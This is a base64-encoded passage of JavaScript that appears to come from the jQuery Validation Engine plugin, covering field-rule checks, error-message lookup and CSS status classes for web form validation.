Ql2YXIgaGF2ZV9yZXF1aXJlZCA9ICQuaW5BcnJheSgncmVxdWlyZWQnLCBydWxlcyk7DQoJCQkJCQlyZXF1aXJlZCA9IChoYXZlX3JlcXVpcmVkICE9IC0xICYmICBoYXZlX3JlcXVpcmVkID49IGkpOw0KCQkJCQl9DQoJCQkJCWJyZWFrOw0KCQkJCX0NCgkJCQkNCgkJCQkNCgkJCQl2YXIgZXJyb3JNc2cgPSB1bmRlZmluZWQ7DQoJCQkJc3dpdGNoIChydWxlc1tpXSkgew0KDQoJCQkJCWNhc2UgInJlcXVpcmVkIjoNCgkJCQkJCXJlcXVpcmVkID0gdHJ1ZTsNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX3JlcXVpcmVkKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQljYXNlICJjdXN0b20iOg0KCQkJCQkJZXJyb3JNc2cgPSBtZXRob2RzLl9nZXRFcnJvck1lc3NhZ2UoZm9ybSwgZmllbGQsIHJ1bGVzW2ldLCBydWxlcywgaSwgb3B0aW9ucywgbWV0aG9kcy5fY3VzdG9tKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQljYXNlICJncm91cFJlcXVpcmVkIjoNCgkJCQkJCS8vIENoZWNrIGlzIGl0cyB0aGUgZmlyc3Qgb2YgZ3JvdXAsIGlmIG5vdCwgcmVsb2FkIHZhbGlkYXRpb24gd2l0aCBmaXJzdCBmaWVsZA0KCQkJCQkJLy8gQU5EIGNvbnRpbnVlIG5vcm1hbCB2YWxpZGF0aW9uIG9uIHByZXNlbnQgZmllbGQNCgkJCQkJCXZhciBjbGFzc0dyb3VwID0gIlsiK29wdGlvbnMudmFsaWRhdGVBdHRyaWJ1dGUrIio9IiArcnVsZXNbaSArIDFdICsiXSI7DQoJCQkJCQl2YXIgZmlyc3RPZkdyb3VwID0gZm9ybS5maW5kKGNsYXNzR3JvdXApLmVxKDApOw0KCQkJCQkJaWYoZmlyc3RPZkdyb3VwWzBdICE9IGZpZWxkWzBdKXsNCg0KCQkJCQkJCW1ldGhvZHMuX3ZhbGlkYXRlRmllbGQoZmlyc3RPZkdyb3VwLCBvcHRpb25zLCBza2lwQWpheFZhbGlkYXRpb24pOyANCgkJCQkJCQlvcHRpb25zLnNob3dBcnJvdyA9IHRydWU7DQoNCgkJCQkJCX0NCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX2dyb3VwUmVxdWlyZWQpOw0KCQkJCQkJaWYoZXJyb3JNc2cpICByZXF1aXJlZCA9IHRydWU7DQoJCQkJCQlvcHRpb25zLnNob3dBcnJvdyA9IGZhbHNlOw0KCQkJCQkJYnJlYWs7DQoJCQkJCWNhc2UgImFqYXgiOg0KCQkJCQkJLy8gQUpBWCBkZWZhdWx0cyB0byByZXR1cm5pbmcgaXQncyBsb2FkaW5nIG1lc3NhZ2UNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fYWpheChmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpOw0KCQkJCQkJaWYgKGVycm9yTXNnKSB7DQoJCQkJCQkJcHJvbXB0VHlwZSA9ICJsb2FkIjsNCgkJCQkJCX0NCgkJCQkJCWJyZWFrOw0KCQkJCQljYXNlICJtaW5TaXplIjoNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX21pblNpemUpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCWNhc2UgIm1heFNpemUiOg0KCQkJCQkJZXJyb3JNc2cgPSBtZXRob2RzLl9nZXRFcnJvck1lc3NhZ2UoZm9ybSwgZmllbGQsIHJ1bGVzW2ldLCBydWxlcywgaSwgb3B0aW9ucywgbWV0aG9kcy5fbWF4U2l6ZSk7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAibWluIjoNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX21pbik7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAibWF4IjoNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX21heCk7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAicGFzdCI6DQoJCQkJCQllcnJvck1zZyA9IG1ldGhvZHMuX2dldEVycm9yTWVzc2FnZShmb3JtLCBmaWVsZCxydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX3Bhc3QpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCWNhc2UgImZ1dHVyZSI6DQoJCQkJCQllcnJvck1zZyA9IG1ldGhvZHMuX2dldEVycm9yTWVzc2FnZShmb3JtLCBmaWVsZCxydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX2Z1dHVyZSk7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAiZGF0ZVJhbmdlIjoNCgkJCQkJCXZhciBjbGFzc0dyb3VwID0gIlsiK29wdGlvbnMudmFsaWRhdGVBdHRyaWJ1dGUrIio9IiArIHJ1bGVzW2kgKyAxXSArICJdIjsNCgkJCQkJCW9wdGlvbnMuZmlyc3RPZkdyb3VwID0gZm9ybS5maW5kKGNsYXNzR3JvdXApLmVxKDApOw0KCQkJCQkJb3B0aW9ucy5zZWNvbmRPZkdyb3VwID0gZm9ybS5maW5kKGNsYXNzR3JvdXApLmVxKDEpOw0KDQoJCQkJCQkvL2lmIG9uZSBlbnRyeSBvdXQgb2YgdGhlIHBhaXIgaGFzIHZhbHVlIHRoZW4gcHJvY2VlZCB0byBydW4gdGhyb3VnaCB2YWxpZGF0aW9uDQoJCQkJCQlpZiAob3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUgfHwgb3B0aW9ucy5zZWNvbmRPZkdyb3VwWzBdLnZhbHVlKSB7DQoJCQkJCQkJZXJyb3JNc2cgPSBtZXRob2RzLl9nZXRFcnJvck1lc3NhZ2UoZm9ybSwgZmllbGQscnVsZXNbaV0sIHJ1bGVzLCBpLCBvcHRpb25zLCBtZXRob2RzLl9kYXRlUmFuZ2UpOw0KCQkJCQkJfQ0KCQkJCQkJaWYgKGVycm9yTXNnKSByZXF1aXJlZCA9IHRydWU7DQoJCQkJCQlvcHRpb25zLnNob3dBcnJvdyA9IGZhbHNlOw0KCQkJCQkJYnJlYWs7DQoNCgkJCQkJY2FzZSAiZGF0ZVRpbWVSYW5nZSI6DQoJCQkJCQl2YXIgY2xhc3NHcm91cCA9ICJbIitvcHRpb25zLnZhbGlkYXRlQXR0cmlidXRlKyIqPSIgKyBydWxlc1tpICsgMV0gKyAiXSI7DQoJCQkJCQlvcHRpb25zLmZpcnN0T2ZHcm91cCA9IGZvcm0uZmluZChjbGFzc0dyb3VwKS5lcSgwKTsNCgkJCQkJCW9wdGlvbnMuc2Vjb25kT2ZHcm91cCA9IGZvcm0uZmluZChjbGFzc0dyb3VwKS5lcSgxKTsNCg0KCQkJCQkJLy9pZiBvbmUgZW50cnkgb3V0IG9mIHRoZSBwYWlyIGhhcyB2YWx1ZSB0aGVuIHByb2NlZWQgdG8gcnVuIHRocm91Z2ggdmFsaWRhdGlvbg0KCQkJCQkJaWYgKG9wdGlvbnMuZmlyc3RPZkdyb3VwWzBdLnZhbHVlIHx8IG9wdGlvbnMuc2Vjb25kT2ZHcm91cFswXS52YWx1ZSkgew0KCQkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLHJ1bGVzW2ldLCBydWxlcywgaSwgb3B0aW9ucywgbWV0aG9kcy5fZGF0ZVRpbWVSYW5nZSk7DQoJCQkJCQl9DQoJCQkJCQlpZiAoZXJyb3JNc2cpIHJlcXVpcmVkID0gdHJ1ZTsNCgkJCQkJCW9wdGlvbnMuc2hvd0Fycm93ID0gZmFsc2U7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAibWF4Q2hlY2tib3giOg0KCQkJCQkJZmllbGQgPSAkKGZvcm0uZmluZCgiaW5wdXRbbmFtZT0nIiArIGZpZWxkTmFtZSArICInXSIpKTsNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX21heENoZWNrYm94KTsNCgkJCQkJCWJyZWFrOw0KCQkJCQljYXNlICJtaW5DaGVja2JveCI6DQoJCQkJCQlmaWVsZCA9ICQoZm9ybS5maW5kKCJpbnB1dFtuYW1lPSciICsgZmllbGROYW1lICsgIiddIikpOw0KCQkJCQkJZXJyb3JNc2cgPSBtZXRob2RzLl9nZXRFcnJvck1lc3NhZ2UoZm9ybSwgZmllbGQsIHJ1bGVzW2ldLCBydWxlcywgaSwgb3B0aW9ucywgbWV0aG9kcy5fbWluQ2hlY2tib3gpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCWNhc2UgImVxdWFscyI6DQoJCQkJCQllcnJvck1zZyA9IG1ldGhvZHMuX2dldEVycm9yTWVzc2FnZShmb3JtLCBmaWVsZCwgcnVsZXNbaV0sIHJ1bGVzLCBpLCBvcHRpb25zLCBtZXRob2RzLl9lcXVhbHMpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCWNhc2UgImZ1bmNDYWxsIjoNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX2Z1bmNDYWxsKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQljYXNlICJuYW1lT25JZCI6DQoJCQkJCQllcnJvck1zZyA9IG1ldGhvZHMuX2dldEVycm9yTWVzc2FnZShmb3JtLCBmaWVsZCwgcnVsZXNbaV0sIHJ1bGVzLCBpLCBvcHRpb25zLCBtZXRob2RzLl9uYW1lT25JZCk7DQoJCQkJCQlicmVhazsNCgkJCQkJY2FzZSAiY29uZFJlcXVpcmVkIjoNCgkJCQkJCWVycm9yTXNnID0gbWV0aG9kcy5fZ2V0RXJyb3JNZXNzYWdlKGZvcm0sIGZpZWxkLCBydWxlc1tpXSwgcnVsZXMsIGksIG9wdGlvbnMsIG1ldGhvZHMuX2NvbmRSZXF1aXJlZCk7DQoJCQkJCQlpZiAoZXJyb3JNc2cgIT09IHVuZGVmaW5lZCkgew0KCQkJCQkJCXJlcXVpcmVkID0gdHJ1ZTsNCgkJCQkJCX0NCgkJCQkJCWJyZWFrOw0KDQoJCQkJCWRlZmF1bHQ6DQoJCQkJfQ0KCQkJCQ0KCQkJCXZhciBlbmRfdmFsaWRhdGlvbiA9IGZhbHNlOw0KCQkJCQ0KCQkJCS8vIElmIHdlIHdlcmUgcGFzc2VkIGJhY2sgYW4gbWVzc2FnZSBvYmplY3QsIGNoZWNrIHdoYXQgdGhlIHN0YXR1cyB3YXMgdG8gZGV0ZXJtaW5lIHdoYXQgdG8gZG8NCgkJCQlpZiAodHlwZW9mIGVycm9yTXNnID09ICJvYmplY3QiKSB7DQoJCQkJCXN3aXRjaCAoZXJyb3JNc2cuc3RhdHVzKSB7DQoJCQkJCQljYXNlICJfYnJlYWsiOg0KCQkJCQkJCWVuZF92YWxpZGF0aW9uID0gdHJ1ZTsNCgkJCQkJCQlicmVhazsNCgkJCQkJCS8vIElmIHdlIGhhdmUgYW4gZXJyb3IgbWVzc2FnZSwgc2V0IGVycm9yTXNnIHRvIHRoZSBlcnJvciBtZXNzYWdlDQoJCQkJCQljYXNlICJfZXJyb3IiOg0KCQkJCQkJCWVycm9yTXNnID0gZXJyb3JNc2cubWVzc2FnZTsNCgkJCQkJCQlicmVhazsNCgkJCQkJCS8vIElmIHdlIHdhbnQgdG8gdGhyb3cgYW4gZXJyb3IsIGJ1dCBub3Qgc2hvdyBhIHByb21wdCwgcmV0dXJuIGVhcmx5IHdpdGggdHJ1ZQ0KCQkJCQkJY2FzZSAiX2Vycm9yX25vX3Byb21wdCI6DQoJCQkJCQkJcmV0dXJuIHRydWU7DQoJCQkJCQkJYnJlYWs7DQoJCQkJCQkvLyBBbnl0aGluZyBlbHNlIHdlIGNvbnRpbnVlIG9uDQoJCQkJCQlkZWZhdWx0Og0KCQkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCQ0KCQkJCS8vIElmIGl0IGhhcyBiZWVuIHNwZWNpZmllZCB0aGF0IHZhbGlkYXRpb24gc2hvdWxkIGVuZCBub3csIGJyZWFrDQoJCQkJaWYgKGVuZF92YWxpZGF0aW9uKSB7DQoJCQkJCWJyZWFrOw0KCQkJCX0NCgkJCQkNCgkJCQkvLyBJZiB3ZSBoYXZlIGEgc3RyaW5nLCB0aGF0IG1lYW5zIHRoYXQgd2UgaGF2ZSBhbiBlcnJvciwgc28gYWRkIGl0IHRvIHRoZSBlcnJvciBtZXNzYWdlLg0KCQkJCWlmICh0eXBlb2YgZXJyb3JNc2cgPT0gJ3N0cmluZycpIHsNCgkJCQkJcHJvbXB0VGV4dCArPSBlcnJvck1zZyArICI8YnIvPiI7DQoJCQkJCW9wdGlvbnMuaXNFcnJvciA9IHRydWU7DQoJCQkJCWZpZWxkX2Vycm9ycysrOw0KCQkJCX0JDQoJCQl9DQoJCQkvLyBJZiB0aGUgcnVsZXMgcmVxdWlyZWQgaXMgbm90IGFkZGVkLCBhbiBlbXB0eSBmaWVsZCBpcyBub3QgdmFsaWRhdGVkDQoJCQlpZighcmVxdWlyZWQgJiYgIShmaWVsZC52YWwoKSkgJiYgZmllbGQudmFsKCkubGVuZ3RoIDwgMSkgb3B0aW9ucy5pc0Vycm9yID0gZmFsc2U7DQoNCgkJCS8vIEhhY2sgZm9yIHJhZGlvL2NoZWNrYm94IGdyb3VwIGJ1dHRvbiwgdGhlIHZhbGlkYXRpb24gZ28gaW50byB0aGUNCgkJCS8vIGZpcnN0IHJhZGlvL2NoZWNrYm94IG9mIHRoZSBncm91cA0KCQkJdmFyIGZpZWxkVHlwZSA9IGZpZWxkLnByb3AoInR5cGUiKTsNCgkJCXZhciBwb3NpdGlvblR5cGU9ZmllbGQuZGF0YSgicHJvbXB0UG9zaXRpb24iKSB8fCBvcHRpb25zLnByb21wdFBvc2l0aW9uOw0KDQoJCQlpZiAoKGZpZWxkVHlwZSA9PSAicmFkaW8iIHx8IGZpZWxkVHlwZSA9PSAiY2hlY2tib3giKSAmJiBmb3JtLmZpbmQoImlucHV0W25hbWU9JyIgKyBmaWVsZE5hbWUgKyAiJ10iKS5zaXplKCkgPiAxKSB7DQoJCQkJaWYocG9zaXRpb25UeXBlID09PSAnaW5saW5lJykgew0KCQkJCQlmaWVsZCA9ICQoZm9ybS5maW5kKCJpbnB1dFtuYW1lPSciICsgZmllbGROYW1lICsgIiddW3R5cGUhPWhpZGRlbl06bGFzdCIpKTsNCgkJCQl9IGVsc2Ugew0KCQkJCWZpZWxkID0gJChmb3JtLmZpbmQoImlucHV0W25hbWU9JyIgKyBmaWVsZE5hbWUgKyAiJ11bdHlwZSE9aGlkZGVuXTpmaXJzdCIpKTsNCgkJCQl9DQoJCQkJb3B0aW9ucy5zaG93QXJyb3cgPSBmYWxzZTsNCgkJCX0NCg0KCQkJaWYoZmllbGQuaXMoIjpoaWRkZW4iKSAmJiBvcHRpb25zLnByZXR0eVNlbGVjdCkgew0KCQkJCWZpZWxkID0gZm9ybS5maW5kKCIjIiArIG9wdGlvbnMudXNlUHJlZml4ICsgbWV0aG9kcy5fanFTZWxlY3RvcihmaWVsZC5hdHRyKCdpZCcpKSArIG9wdGlvbnMudXNlU3VmZml4KTsNCgkJCX0NCg0KCQkJaWYgKG9wdGlvbnMuaXNFcnJvciAmJiBvcHRpb25zLnNob3dQcm9tcHRzKXsNCgkJCQltZXRob2RzLl9zaG93UHJvbXB0KGZpZWxkLCBwcm9tcHRUZXh0LCBwcm9tcHRUeXBlLCBmYWxzZSwgb3B0aW9ucyk7DQoJCQl9ZWxzZXsNCgkJCQlpZiAoIWlzQWpheFZhbGlkYXRvcikgbWV0aG9kcy5fY2xvc2VQcm9tcHQoZmllbGQpOw0KCQkJfQ0KDQoJCQlpZiAoIWlzQWpheFZhbGlkYXRvcikgew0KCQkJCWZpZWxkLnRyaWdnZXIoImpxdi5maWVsZC5yZXN1bHQiLCBbZmllbGQsIG9wdGlvbnMuaXNFcnJvciwgcHJvbXB0VGV4dF0pOw0KCQkJfQ0KDQoJCQkvKiBSZWNvcmQgZXJyb3IgKi8NCgkJCXZhciBlcnJpbmRleCA9ICQuaW5BcnJheShmaWVsZFswXSwgb3B0aW9ucy5JbnZhbGlkRmllbGRzKTsNCgkJCWlmIChlcnJpbmRleCA9PSAtMSkgew0KCQkJCWlmIChvcHRpb25zLmlzRXJyb3IpDQoJCQkJb3B0aW9ucy5JbnZhbGlkRmllbGRzLnB1c2goZmllbGRbMF0pOw0KCQkJfSBlbHNlIGlmICghb3B0aW9ucy5pc0Vycm9yKSB7DQoJCQkJb3B0aW9ucy5JbnZhbGlkRmllbGRzLnNwbGljZShlcnJpbmRleCwgMSk7DQoJCQl9DQoJCQkJDQoJCQltZXRob2RzLl9oYW5kbGVTdGF0dXNDc3NDbGFzc2VzKGZpZWxkLCBvcHRpb25zKTsNCgkNCgkJCS8qIHJ1biBjYWxsYmFjayBmdW5jdGlvbiBmb3IgZWFjaCBmaWVsZCAqLw0KCQkJaWYgKG9wdGlvbnMuaXNFcnJvciAmJiBvcHRpb25zLm9uRmllbGRGYWlsdXJlKQ0KCQkJCW9wdGlvbnMub25GaWVsZEZhaWx1cmUoZmllbGQpOw0KDQoJCQlpZiAoIW9wdGlvbnMuaXNFcnJvciAmJiBvcHRpb25zLm9uRmllbGRTdWNjZXNzKQ0KCQkJCW9wdGlvbnMub25GaWVsZFN1Y2Nlc3MoZmllbGQpOw0KDQoJCQlyZXR1cm4gb3B0aW9ucy5pc0Vycm9yOw0KCQl9LA0KCQkvKioNCgkJKiBIYW5kbGluZyBjc3MgY2xhc3NlcyBvZiBmaWVsZHMgaW5kaWNhdGluZyByZXN1bHQgb2YgdmFsaWRhdGlvbiANCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9DQoJCSogICAgICAgICAgICBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0NCgkJKiAgICAgICAgICAgIGZpZWxkJ3MgdmFsaWRhdGlvbiBydWxlcyAgICAgICAgICAgIA0KCQkqIEBwcml2YXRlDQoJCSovDQoJCV9oYW5kbGVTdGF0dXNDc3NDbGFzc2VzOiBmdW5jdGlvbihmaWVsZCwgb3B0aW9ucykgew0KCQkJLyogcmVtb3ZlIGFsbCBjbGFzc2VzICovDQoJCQlpZihvcHRpb25zLmFkZFN1Y2Nlc3NDc3NDbGFzc1RvRmllbGQpDQoJCQkJZmllbGQucmVtb3ZlQ2xhc3Mob3B0aW9ucy5hZGRTdWNjZXNzQ3NzQ2xhc3NUb0ZpZWxkKTsNCgkJCQ0KCQkJaWYob3B0aW9ucy5hZGRGYWlsdXJlQ3NzQ2xhc3NUb0ZpZWxkKQ0KCQkJCWZpZWxkLnJlbW92ZUNsYXNzKG9wdGlvbnMuYWRkRmFpbHVyZUNzc0NsYXNzVG9GaWVsZCk7DQoJCQkNCgkJCS8qIEFkZCBjbGFzc2VzICovDQoJCQlpZiAob3B0aW9ucy5hZGRTdWNjZXNzQ3NzQ2xhc3NUb0ZpZWxkICYmICFvcHRpb25zLmlzRXJyb3IpDQoJCQkJZmllbGQuYWRkQ2xhc3Mob3B0aW9ucy5hZGRTdWNjZXNzQ3NzQ2xhc3NUb0ZpZWxkKTsNCgkJCQ0KCQkJaWYgKG9wdGlvbnMuYWRkRmFpbHVyZUNzc0NsYXNzVG9GaWVsZCAmJiBvcHRpb25zLmlzRXJyb3IpDQoJCQkJZmllbGQuYWRkQ2xhc3Mob3B0aW9ucy5hZGRGYWlsdXJlQ3NzQ2xhc3NUb0ZpZWxkKTsJCQ0KCQl9LA0KCQkNCgkJIC8qKioqKioqKioqKioqKioqKioqKg0KCQkgICogX2dldEVycm9yTWVzc2FnZQ0KCQkgICoNCgkJICAqIEBwYXJhbSBmb3JtDQoJCSAgKiBAcGFyYW0gZmllbGQNCgkJICAqIEBwYXJhbSBydWxlDQoJCSAgKiBAcGFyYW0gcnVsZXMNCgkJICAqIEBwYXJhbSBpDQoJCSAgKiBAcGFyYW0gb3B0aW9ucw0KCQkgICogQHBhcmFtIG9yaWdpbmFsVmFsaWRhdGlvbk1ldGhvZA0KCQkgICogQHJldHVybiB7Kn0NCgkJICAqIEBwcml2YXRlDQoJCSAgKi8NCgkJIF9nZXRFcnJvck1lc3NhZ2U6ZnVuY3Rpb24gKGZvcm0sIGZpZWxkLCBydWxlLCBydWxlcywgaSwgb3B0aW9ucywgb3JpZ2luYWxWYWxpZGF0aW9uTWV0aG9kKSB7DQoJCQkgLy8gSWYgd2UgYXJlIHVzaW5nIHRoZSBjdXN0b24gdmFsaWRhdGlvbiB0eXBlLCBidWlsZCB0aGUgaW5kZXggZm9yIHRoZSBydWxlLg0KCQkJIC8vIE90aGVyd2lzZSBpZiB3ZSBhcmUgZG9pbmcgYSBmdW5jdGlvbiBjYWxsLCBtYWtlIHRoZSBjYWxsIGFuZCByZXR1cm4gdGhlIG9iamVjdA0KCQkJIC8vIHRoYXQgaXMgcGFzc2VkIGJhY2suDQoJIAkJIHZhciBydWxlX2luZGV4ID0galF1ZXJ5LmluQXJyYXkocnVsZSwgcnVsZXMpOw0KCQkJIGlmIChydWxlID09PSAiY3VzdG9tIiB8fCBydWxlID09PSAiZnVuY0NhbGwiKSB7DQoJCQkJIHZhciBjdXN0b21fdmFsaWRhdGlvbl90eXBlID0gcnVsZXNbcnVsZV9pbmRleCArIDFdOw0KCQkJCSBydWxlID0gcnVsZSArICJbIiArIGN1c3RvbV92YWxpZGF0aW9uX3R5cGUgKyAiXSI7DQoJCQkJIC8vIERlbGV0ZSB0aGUgcnVsZSBmcm9tIHRoZSBydWxlcyBhcnJheSBzbyB0aGF0IGl0IGRvZXNuJ3QgdHJ5IHRvIGNhbGwgdGhlDQoJCQkgICAgLy8gc2FtZSBydWxlIG92ZXIgYWdhaW4NCgkJCSAgICBkZWxldGUocnVsZXNbcnVsZV9pbmRleF0pOw0KCQkJIH0NCgkJCSAvLyBDaGFuZ2UgdGhlIHJ1bGUgdG8gdGhlIGNvbXBvc2l0ZSBydWxlLCBpZiBpdCB3YXMgZGlmZmVyZW50IGZyb20gdGhlIG9yaWdpbmFsDQoJCQkgdmFyIGFsdGVyZWRSdWxlID0gcnVsZTsNCg0KDQoJCQkgdmFyIGVsZW1lbnRfY2xhc3NlcyA9IChmaWVsZC5hdHRyKCJkYXRhLXZhbGlkYXRpb24tZW5naW5lIikpID8gZmllbGQuYXR0cigiZGF0YS12YWxpZGF0aW9uLWVuZ2luZSIpIDogZmllbGQuYXR0cigiY2xhc3MiKTsNCgkJCSB2YXIgZWxlbWVudF9jbGFzc2VzX2FycmF5ID0gZWxlbWVudF9jbGFzc2VzLnNwbGl0KCIgIik7DQoNCgkJCSAvLyBDYWxsIHRoZSBvcmlnaW5hbCB2YWxpZGF0aW9uIG1ldGhvZC4gSWYgd2UgYXJlIGRlYWxpbmcgd2l0aCBkYXRlcyBvciBjaGVja2JveGVzLCBhbHNvIHBhc3MgdGhlIGZvcm0NCgkJCSB2YXIgZXJyb3JNc2c7DQoJCQkgaWYgKHJ1bGUgPT0gImZ1dHVyZSIgfHwgcnVsZSA9PSAicGFzdCIgIHx8IHJ1bGUgPT0gIm1heENoZWNrYm94IiB8fCBydWxlID09ICJtaW5DaGVja2JveCIpIHsNCgkJCQkgZXJyb3JNc2cgPSBvcmlnaW5hbFZhbGlkYXRpb25NZXRob2QoZm9ybSwgZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKTsNCgkJCSB9IGVsc2Ugew0KCQkJCSBlcnJvck1zZyA9IG9yaWdpbmFsVmFsaWRhdGlvbk1ldGhvZChmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpOw0KCQkJIH0NCg0KCQkJIC8vIElmIHRoZSBvcmlnaW5hbCB2YWxpZGF0aW9uIG1ldGhvZCByZXR1cm5lZCBhbiBlcnJvciBhbmQgd2UgaGF2ZSBhIGN1c3RvbSBlcnJvciBtZXNzYWdlLA0KCQkJIC8vIHJldHVybiB0aGUgY3VzdG9tIG1lc3NhZ2UgaW5zdGVhZC4gT3RoZXJ3aXNlIHJldHVybiB0aGUgb3JpZ2luYWwgZXJyb3IgbWVzc2FnZS4NCgkJCSBpZiAoZXJyb3JNc2cgIT0gdW5kZWZpbmVkKSB7DQoJCQkJIHZhciBjdXN0b21fbWVzc2FnZSA9IG1ldGhvZHMuX2dldEN1c3RvbUVycm9yTWVzc2FnZSgkKGZpZWxkKSwgZWxlbWVudF9jbGFzc2VzX2FycmF5LCBhbHRlcmVkUnVsZSwgb3B0aW9ucyk7DQoJCQkJIGlmIChjdXN0b21fbWVzc2FnZSkgZXJyb3JNc2cgPSBjdXN0b21fbWVzc2FnZTsNCgkJCSB9DQoJCQkgcmV0dXJuIGVycm9yTXNnOw0KDQoJCSB9LA0KCQkgX2dldEN1c3RvbUVycm9yTWVzc2FnZTpmdW5jdGlvbiAoZmllbGQsIGNsYXNzZXMsIHJ1bGUsIG9wdGlvbnMpIHsNCgkJCXZhciBjdXN0b21fbWVzc2FnZSA9IGZhbHNlOw0KCQkJdmFyIHZhbGlkaXR5UHJvcCA9IC9eY3VzdG9tXFsuKlxdJC8udGVzdChydWxlKSA/IG1ldGhvZHMuX3ZhbGlkaXR5UHJvcFsiY3VzdG9tIl0gOiBtZXRob2RzLl92YWxpZGl0eVByb3BbcnVsZV07DQoJCQkgLy8gSWYgdGhlcmUgaXMgYSB2YWxpZGl0eVByb3AgZm9yIHRoaXMgcnVsZSwgY2hlY2sgdG8gc2VlIGlmIHRoZSBmaWVsZCBoYXMgYW4gYXR0cmlidXRlIGZvciBpdA0KCQkJaWYgKHZhbGlkaXR5UHJvcCAhPSB1bmRlZmluZWQpIHsNCgkJCQljdXN0b21fbWVzc2FnZSA9IGZpZWxkLmF0dHIoImRhdGEtZXJyb3JtZXNzYWdlLSIrdmFsaWRpdHlQcm9wKTsNCgkJCQkvLyBJZiB0aGVyZSB3YXMgYW4gZXJyb3IgbWVzc2FnZSBmb3IgaXQsIHJldHVybiB0aGUgbWVzc2FnZQ0KCQkJCWlmIChjdXN0b21fbWVzc2FnZSAhPSB1bmRlZmluZWQpIA0KCQkJCQlyZXR1cm4gY3VzdG9tX21lc3NhZ2U7DQoJCQl9DQoJCQljdXN0b21fbWVzc2FnZSA9IGZpZWxkLmF0dHIoImRhdGEtZXJyb3JtZXNzYWdlIik7DQoJCQkgLy8gSWYgdGhlcmUgaXMgYW4gaW5saW5lIGN1c3RvbSBlcnJvciBtZXNzYWdlLCByZXR1cm4gaXQNCgkJCWlmIChjdXN0b21fbWVzc2FnZSAhPSB1bmRlZmluZWQpIA0KCQkJCXJldHVybiBjdXN0b21fbWVzc2FnZTsNCgkJCXZhciBpZCA9ICcjJyArIGZpZWxkLmF0dHIoImlkIik7DQoJCQkvLyBJZiB3ZSBoYXZlIGN1c3RvbSBtZXNzYWdlcyBmb3IgdGhlIGVsZW1lbnQncyBpZCwgZ2V0IHRoZSBtZXNzYWdlIGZvciB0aGUgcnVsZSBmcm9tIHRoZSBpZC4NCgkJCS8vIE90aGVyd2lzZSwgaWYgd2UgaGF2ZSBjdXN0b20gbWVzc2FnZXMgZm9yIHRoZSBlbGVtZW50J3MgY2xhc3NlcywgdXNlIHRoZSBmaXJzdCBjbGFzcyBtZXNzYWdlIHdlIGZpbmQgaW5zdGVhZC4NCgkJCWlmICh0eXBlb2Ygb3B0aW9ucy5jdXN0b21fZXJyb3JfbWVzc2FnZXNbaWRdICE9ICJ1bmRlZmluZWQiICYmDQoJCQkJdHlwZW9mIG9wdGlvbnMuY3VzdG9tX2Vycm9yX21lc3NhZ2VzW2lkXVtydWxlXSAhPSAidW5kZWZpbmVkIiApIHsNCgkJCQkJCSAgY3VzdG9tX21lc3NhZ2UgPSBvcHRpb25zLmN1c3RvbV9lcnJvcl9tZXNzYWdlc1tpZF1bcnVsZV1bJ21lc3NhZ2UnXTsNCgkJCX0gZWxzZSBpZiAoY2xhc3Nlcy5sZW5ndGggPiAwKSB7DQoJCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBjbGFzc2VzLmxlbmd0aCAmJiBjbGFzc2VzLmxlbmd0aCA+IDA7IGkrKykgew0KCQkJCQkgdmFyIGVsZW1lbnRfY2xhc3MgPSAiLiIgKyBjbGFzc2VzW2ldOw0KCQkJCQlpZiAodHlwZW9mIG9wdGlvbnMuY3VzdG9tX2Vycm9yX21lc3NhZ2VzW2VsZW